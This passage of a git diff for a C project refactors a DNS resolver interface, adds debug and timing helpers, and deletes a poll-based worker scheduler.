(prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout) { +bool prne_resolv_prm_gettxtrec (prne_resolv_t *wkr, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out) { bool ret; query_entry_t *q_ent; - if (wkr->wkr_state != RESOLV_WKR_STATE_OK) { - errno = EPIPE; - return false; - } - - ret = resolv_qq(wkr, name, out, timeout, &q_ent); + ret = resolv_qq(wkr, name, cv, out, &q_ent); if (ret) { q_ent->type = PRNE_RESOLV_QT_TXT; } @@ -1446,11 +1338,11 @@ void prne_resolv_free_prm (prne_resolv_prm_t *prm) { if (prm->ctx != NULL) { query_entry_t *ent = (query_entry_t*)prm->ctx; - if (ent->wkr != NULL) { - prne_llist_erase(&ent->wkr->qlist, ent->qlist_ent); + if (ent->owner != NULL) { + prne_llist_erase(&ent->owner->qlist, ent->qlist_ent); - if (prne_imap_lookup(&ent->wkr->qid_map, ent->qid) != NULL) { - prne_imap_insert(&ent->wkr->qid_map, ent->qid, 0); + if (prne_imap_lookup(&ent->owner->qid_map, ent->qid) != NULL) { + prne_imap_insert(&ent->owner->qid_map, ent->qid, 0); } } resolv_free_q_ent(ent); @@ -1458,13 +1350,11 @@ void prne_resolv_free_prm (prne_resolv_prm_t *prm) { prm->ctx = NULL; prm->fut = NULL; - prm->evtfd = -1; } void prne_resolv_init_prm (prne_resolv_prm_t *prm) { prm->ctx = NULL; prm->fut = NULL; - prm->evtfd = -1; } void prne_init_resolv_fut (prne_resolv_fut_t *fut) { diff --git a/src/resolv_worker.h b/src/resolv.h index c76152f..650406c 100644 --- a/src/resolv_worker.h +++ b/src/resolv.h @@ -1,12 +1,12 @@ #pragma once #include "protocol.h" -#include "worker.h" +#include "pth.h" #include <mbedtls/ctr_drbg.h> -struct prne_resolv_wkr_ctx; -typedef struct prne_resolv_wkr_ctx* prne_resolv_wkr_ctx_t; +struct prne_resolv; +typedef struct prne_resolv prne_resolv_t; struct prne_resolv_prm; struct prne_resolv_fut; @@ -43,7 +43,6 @@ typedef enum { struct prne_resolv_prm { void *ctx; prne_resolv_fut_t *fut; - int evtfd; }; struct prne_resolv_fut { @@ -80,9 +79,9 @@ struct prne_resolv_rr { #define PRNE_RESOLV_RTYPE_AAAA 28 -prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg); -bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout); -bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout); +prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg); +bool prne_resolv_prm_gethostbyname (prne_resolv_t *ctx, const char *name, const prne_ipv_t ipv, prne_pth_cv_t *cv, prne_resolv_prm_t *out); +bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out); void prne_resolv_init_prm (prne_resolv_prm_t *prm); void prne_resolv_free_prm (prne_resolv_prm_t *prm); diff --git a/src/util_ct.h b/src/util_ct.h index 134ac57..cd21a12 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -13,3 +13,11 @@ #if !defined(memzero) #define memzero(addr, len) memset(addr, 0, len) #endif + +#ifdef PRNE_DEBUG +#define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__) +#define prne_dbgperr(str) perror(str) +#else +#define prne_dbgpf(fmt, ...) +#define prne_dbgperr(str) +#endif diff --git a/src/util_rt.c b/src/util_rt.c index cdf4526..d42cc7d 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -4,6 +4,7 @@ #include <stdlib.h> #include <string.h> #include <ctype.h> +#include <time.h> #include <errno.h> #include <unistd.h> @@ -12,41 +13,20 @@ #include <sys/socket.h> #include <mbedtls/base64.h> +#include <pthsem.h> -void prne_ok_or_die (const int ret) { - if (ret < 0) { - abort(); - } -} - -void prne_true_or_die (const bool ret) { +void prne_assert (const bool ret) { if (!ret) { - abort(); - } -} + volatile const int err = errno; -void prne_empty_func (void) {} - -bool prne_is_nonblock_errno (void) { - switch (errno) { -#if EAGAIN == EWOULDBLOCK - case EAGAIN: -#else - case EAGAIN: - case EWOULDBLOCK: -#endif - case EINPROGRESS: - return true; + if (true || err) { + abort(); + } } - return false; } -void prne_die_not_nonblock_err (void) { - if (!prne_is_nonblock_errno()) { - abort(); - } -} +void prne_empty_func (void) {} void prne_close (const int fd) { if (fd >= 0) { @@ -146,7 +126,7 @@ size_t prne_nstrlen (const char *s) { } void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) { - static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; + static const char SET[] = { 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' }; size_t i = 0; uint32_t n; @@ -339,6 +319,12 @@ struct timespec prne_max_timespec (const struct timespec a, const struct timespe return prne_cmp_timespec(a, b) > 0 ? a : b; } +struct timespec prne_gettime (const clockid_t cid) { + struct timespec ret; + prne_assert(clock_gettime(cid, &ret) == 0); + return ret; +} + char *prne_enc_base64_mem (const uint8_t *data, const size_t size) { size_t ret_size; char *ret; diff --git a/src/util_rt.h b/src/util_rt.h index 9878064..ef241fc 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -6,6 +6,8 @@ #include <stdint.h> #include <time.h> +#include <sys/poll.h> + #include <mbedtls/ctr_drbg.h> @@ -32,11 +34,8 @@ bool prne_strendsw (const char *str, const char *w) { } #endif -void prne_ok_or_die (const int ret); -void prne_true_or_die (const bool ret); +void prne_assert (const bool ret); void prne_empty_func (void); -bool prne_is_nonblock_errno (void); -void prne_die_not_nonblock_err (void); void prne_close (const int fd); void prne_shutdown (const int fd, const int how); @@ -64,6 +63,7 @@ double prne_real_timespec (const struct timespec ts); int prne_cmp_timespec (const struct timespec a, const struct timespec b); struct timespec prne_min_timespec (const struct timespec a, const struct timespec b); struct timespec prne_max_timespec (const struct timespec a, const struct timespec b); +struct timespec prne_gettime (const clockid_t cid); char *prne_enc_base64_mem (const uint8_t *data, const size_t size); bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size); diff --git a/src/worker.c b/src/worker.c deleted file mode 100644 index b3dc714..0000000 --- a/src/worker.c +++ /dev/null @@ -1,290 +0,0 @@ -#include "worker.h" -#include "util_rt.h" -#include "util_ct.h" - -#include <string.h> -#include <time.h> -#include <assert.h> -#include <errno.h> - - -void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r) { - r->pfd_arr = NULL; - r->pfd_arr_size = 0; - prne_init_llist(&r->tos_list); - prne_init_llist(&r->pfd_list); - r->timeout_active = false; -} - -void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r) { - prne_llist_entry_t *cur; - prne_wkr_timeout_slot_pt to_slot; - prne_wkr_pollfd_slot_pt pfd_slot; - - if (r == NULL) { - return; - } - - cur = r->tos_list.head; - while (cur != NULL) { - to_slot = (prne_wkr_timeout_slot_pt)cur->element; - to_slot->parent.ent = NULL; - to_slot->parent.wsr = NULL; - cur = cur->next; - } - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - pfd_slot->parent.ent = NULL; - pfd_slot->parent.wsr = NULL; - cur = cur->next; - } - - prne_free(r->pfd_arr); - prne_free_llist(&r->tos_list); - prne_free_llist(&r->pfd_list); - r->pfd_arr = NULL; - r->pfd_arr_size = 0; - r->timeout_active = false; -} - -bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r) { - prne_llist_entry_t *cur; - prne_wkr_timeout_slot_pt to_slot; - prne_wkr_pollfd_slot_pt pfd_slot; - size_t i = 0; - - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - if (pfd_slot->pfd.fd >= 0) { - i += 1; - } - cur = cur->next; - } - if (i > 0) { - void *ny_mem; - - ny_mem = prne_realloc(r->pfd_arr, sizeof(struct pollfd), i); - if (ny_mem != NULL) { - r->pfd_arr = (struct pollfd*)ny_mem; - r->pfd_arr_size = i; - - i = 0; - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - if (pfd_slot->pfd.fd >= 0) { - pfd_slot->pfd.revents = 0; - r->pfd_arr[i].fd = pfd_slot->pfd.fd; - r->pfd_arr[i].events = pfd_slot->pfd.events; - i += 1; - } - cur = cur->next; - } - } - else { - return false; - } - } - else { - prne_free(r->pfd_arr); - r->pfd_arr = NULL; - r->pfd_arr_size = 0; - } - - r->timeout_active = false; - cur = r->tos_list.head; - while (cur != NULL) { - to_slot = (prne_wkr_timeout_slot_pt)cur->element; - if (to_slot->active) { - if (r->timeout_active) { - r->timeout = prne_min_timespec(r->timeout, to_slot->dur); - } - else { - r->timeout = to_slot->dur; - r->timeout_active = true; - } - } - cur = cur->next; - } - - return true; -} - -void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed) { - prne_llist_entry_t *cur; - - if (r->timeout_active) { - prne_wkr_timeout_slot_pt to_slot; - - cur = r->tos_list.head; - while (cur != NULL) { - to_slot = (prne_wkr_timeout_slot_pt)cur->element; - if (to_slot->active) { - if (prne_cmp_timespec(to_slot->dur, elapsed) > 0) { - to_slot->dur = prne_sub_timespec(to_slot->dur, elapsed); - to_slot->reached = false; - } - else { - to_slot->dur.tv_sec = 0; - to_slot->dur.tv_nsec = 0; - to_slot->reached = true; - } - } - - cur = cur->next; - } - } - - if (poll_ret > 0) { - prne_wkr_pollfd_slot_pt pfd_slot; - size_t i = 0, ret_evts = 0; - - cur = r->pfd_list.head; - while (cur != NULL) { - pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; - if (pfd_slot->pfd.fd >= 0) { - assert(pfd_slot->pfd.fd == r->pfd_arr[i].fd); - - pfd_slot->pfd.revents = r->pfd_arr[i].revents; - if (pfd_slot->pfd.revents) { - ret_evts += 1; - } - if (ret_evts >= (size_t)poll_ret) { - break; - } - i += 1; - } - cur = cur->next; - } - } -} - -bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret) { - bool ret = false; - - *poll_ret = 0; - if (r->pfd_arr_size > 0) { - *poll_ret = ppoll(r->pfd_arr, r->pfd_arr_size, r->timeout_active ? &r->timeout : NULL, NULL); - if (*poll_ret < 0) { - switch (errno) { - case EINTR: - case ENOMEM: - break; - default: - abort(); - } - } - else { - ret = true; - } - } - else if (r->timeout_active) { - if (nanosleep(&r->timeout, NULL) < 0 && errno != EINTR) { - abort(); - } - ret = true; - } - else { - ret = true; - } - - return ret; -} - -prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r) { - prne_wkr_timeout_slot_pt ret = NULL; - prne_llist_entry_t *ent = NULL; - - ret = prne_malloc(sizeof(struct prne_wkr_timeout_slot), 1); - if (ret == NULL) { - goto ERR; - } - ent = prne_llist_append(&r->tos_list, ret); - if (ent == NULL) { - goto ERR; - } - - ret->parent.ent = ent; - ret->parent.wsr = r; - ret->active = false; - ret->reached = false; - return ret; -ERR: - prne_free(ret); - prne_llist_erase(&r->tos_list, ent); - - return NULL; -} - -void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s) { - if (s == NULL) { - return; - } - - if (s->parent.wsr != NULL) { - prne_llist_erase(&s->parent.wsr->tos_list, s->parent.ent); - } - prne_free(s); -} - -prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r) { - prne_wkr_pollfd_slot_pt ret = NULL; - prne_llist_entry_t *ent = NULL; - - ret = prne_malloc(sizeof(struct prne_wkr_pollfd_slot), 1); - if (ret == NULL) { - goto ERR; - } - ent = prne_llist_append(&r->pfd_list, ret); - if (ent == NULL) { - goto ERR; - } - - ret->parent.ent = ent; - ret->parent.wsr = r; - ret->pfd.fd = -1; - ret->pfd.events = 0; - ret->pfd.revents = 0; - return ret; -ERR: - prne_free(ret); - prne_llist_erase(&r->pfd_list, ent); - - return NULL; -} - -void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s) { - if (s == NULL) { - return; - } - - if (s->parent.wsr != NULL) { - prne_llist_erase(&s->parent.wsr->pfd_list, s->parent.ent); - } - prne_free(s); -} - -void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti) { - memzero(ti, sizeof(prne_wkr_tick_info_t)); -} - -void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti) { - // left for future code -} - -void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti) { - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick)); - ti->last_tick = ti->this_tick; - ti->tick_diff.tv_sec = 0; - ti->tick_diff.tv_nsec = 0; - ti->real_tick_diff = 0.0; -} - -void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti) { - ti->last_tick = ti->this_tick; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick)); - ti->tick_diff = prne_sub_timespec(ti->this_tick, ti->last_tick); - ti->real_tick_diff = prne_real_timespec(ti->tick_diff); -} diff --git a/src/worker.h b/src/worker.h deleted file mode 100644 index 78661a1..0000000 --- a/src/worker.h +++ /dev/null @@ -1,79 +0,0 @@ -#pragma once -#include <stddef.h> -#include <stdint.h> -#include <stdbool.h> -#include <time.h> -#include <poll.h> - -#include "llist.h" - - -struct prne_wkr_timeout_slot; -struct prne_wkr_pollfd_slot; -struct prne_wkr_tick_info; -struct prne_wkr_sched_req; -typedef struct prne_wkr_timeout_slot* prne_wkr_timeout_slot_pt; -typedef struct prne_wkr_pollfd_slot* prne_wkr_pollfd_slot_pt; -typedef struct prne_wkr_sched_req prne_wkr_sched_req_t; -typedef struct prne_wkr_tick_info prne_wkr_tick_info_t; -typedef struct prne_worker prne_worker_t; - -struct prne_wkr_slot_parent { - prne_llist_entry_t *ent; - prne_wkr_sched_req_t *wsr; -}; - -struct prne_wkr_timeout_slot { - struct timespec dur; - struct prne_wkr_slot_parent parent; - bool active; - bool reached; -}; - -struct prne_wkr_pollfd_slot { - struct pollfd pfd; - struct prne_wkr_slot_parent parent; -}; - -struct prne_wkr_sched_req { - struct pollfd *pfd_arr; - size_t pfd_arr_size; - struct timespec timeout; - prne_llist_t tos_list; - prne_llist_t pfd_list; - bool timeout_active; -}; - -struct prne_wkr_tick_info { - struct timespec last_tick; - struct timespec this_tick; - struct timespec tick_diff; - double real_tick_diff; -}; - -struct prne_worker { - intptr_t id; - void *ctx; - - void (*free)(void *ctx); - void (*fin)(void *ctx); - void (*work)(void *ctx, const prne_wkr_tick_info_t *sched_info); - bool (*has_finalised)(void *ctx); -}; - - -void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r); -void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r); -bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r); -void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed); -bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret); - -prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r); -void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s); -prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r); -void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s); - -void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti); -void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti); -void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti); -void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti);
\ No newline at end of file |